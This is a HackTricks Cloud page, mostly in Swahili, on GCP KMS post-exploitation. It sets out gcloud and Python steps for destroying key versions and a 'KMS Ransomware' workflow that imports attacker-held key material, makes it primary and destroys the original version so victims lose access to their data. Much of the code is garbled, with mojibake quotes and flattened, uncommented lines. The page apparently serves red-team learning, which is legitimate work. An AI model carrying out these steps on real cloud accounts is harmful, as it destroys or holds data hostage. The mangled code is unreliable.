GCP - KMS Post Exploitation
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na đŹ Discord group au the telegram group au utufuate kwenye Twitter đŚ @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
KMS
Pata taarifa za msingi kuhusu KMS katika:
cloudkms.cryptoKeyVersions.destroy
Mshambuliaji mwenye ruhusa hii anaweza kuharibu toleo la KMS. Ili kufanya hivyo kwanza unahitaji kuzima ufunguo kisha kuuharibu:
Lemaza na uharibu toleo la ufunguo (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Disables a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={âcrypto_key_versionâ: {ânameâ: key_version_name, âstateâ: kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Destroys a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={ânameâ: key_version_name})
Example usage
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
Katika AWS inawezekana kabisa **steal a KMS key** kwa kubadilisha KMS resource policy na kuruhusu akaunti ya mshambuliaji tu kutumia key. Kwa kuwa sera za rasilimali hizi hazipo kwenye GCP, hili haliwezekani.
Hata hivyo, kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo ingehusisha hatua zifuatazo:
- Unda toleo jipya la **version of the key with a key material** ambalo limeingizwa na mshambuliaji
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- Weka kama toleo chaguo-msingi (kwa data zijazo zitakazofichwa)
- Fichia tena data za zamani zilizofichwa kwa toleo la awali kwa kutumia toleo jipya.
- Futa KMS key
- Sasa ni mshambuliaji pekee, ambaye anamiliki nyenzo za awali za ufunguo, atakayekuwa na uwezo wa kufungua data iliyofichwa
Cloud Storage + CMEK mfumo wa ruhusa
Wakati vitu katika Cloud Storage vinapofichwa kwa CMEK, miito ya decrypt/encrypt kwa KMS hufanywa na wakala wa huduma wa Cloud Storage wa mradi (barua pepe ni service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com)), sio moja kwa moja na mtumiaji wa mwisho anayesoma kitu hicho.
Hii ina maana kwamba ili kusoma kitu kilichofichwa kwa CMEK:
- Wakala wa huduma wa Cloud Storage wa mradi lazima awe na ruhusa za KMS juu ya ufunguo wa KMS unaotumika (kwa kawaida
roles/cloudkms.cryptoKeyEncrypterDecrypter). - Mtumiaji anahitaji tu ruhusa za kusoma object (kwa mfano
storage.objects.get). Hapana haja ya ruhusa juu ya ufunguo wa KMS.
Hii ina maana kwamba ili kudhibiti upatikanaji wa data iliyofichwa kwa kutumia ufunguo wa KMS, ni lazima kuongeza/kuondoa ruhusa za KMS kwa wakala wa huduma wa Cloud Storage wa mradi.
Kumbuka kuwa kufunga binding ya ngazi ya mradi kama roles/cloudkms.cryptoKeyEncrypterDecrypter kwa wakala wa Storage bado itaruhusu decrypt kwa kutumia funguo katika mradi huo huo.
Hapa kuna hatua za kuingiza toleo jipya na kuzima/kufuta data za zamani:
Ingiza toleo jipya la ufunguo na futa toleo la zamani
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âimport-method ârsa-oaep-3072-sha1-aes-256â
âprotection-level âsoftwareâ
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (itâs encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
âimport-job my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âalgorithm âgoogle-symmetric-encryptionâ
âtarget-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
Make new version primary
gcloud kms keys update
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âprimary-version 2
Try to decrypt again (error)
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Disable initial version
gcloud kms keys versions disable
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âversion 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Fichia data kwa kutumia ufunguo wa simetriki (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Saini ujumbe kwa kutumia asymmetric key (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): âââ Sign a message using an asymmetric key version from Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode(âutf-8â) digest = {âsha256â: hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â message = âyour-messageâ
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(âSignature:â, signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Thibitisha saini kwa kutumia ufunguo wa asimetri (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
Ruhusa cloudkms.cryptoKeyVersions.restore inaruhusu kitambulisho kurejesha toleo la ufunguo ambalo awali lilikuwa limepangwa kuharibiwa au limezimwa katika Cloud KMS, likirejeshwa katika hali hai na inayoweza kutumika.
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
Ruhusa cloudkms.cryptoKeyVersions.update inamruhusu mtambulisho kubadilisha sifa au hali ya toleo maalum la ufunguo katika Cloud KMS, kwa mfano kuamilisha au kuzima.
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na đŹ Discord group au the telegram group au utufuate kwenye Twitter đŚ @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

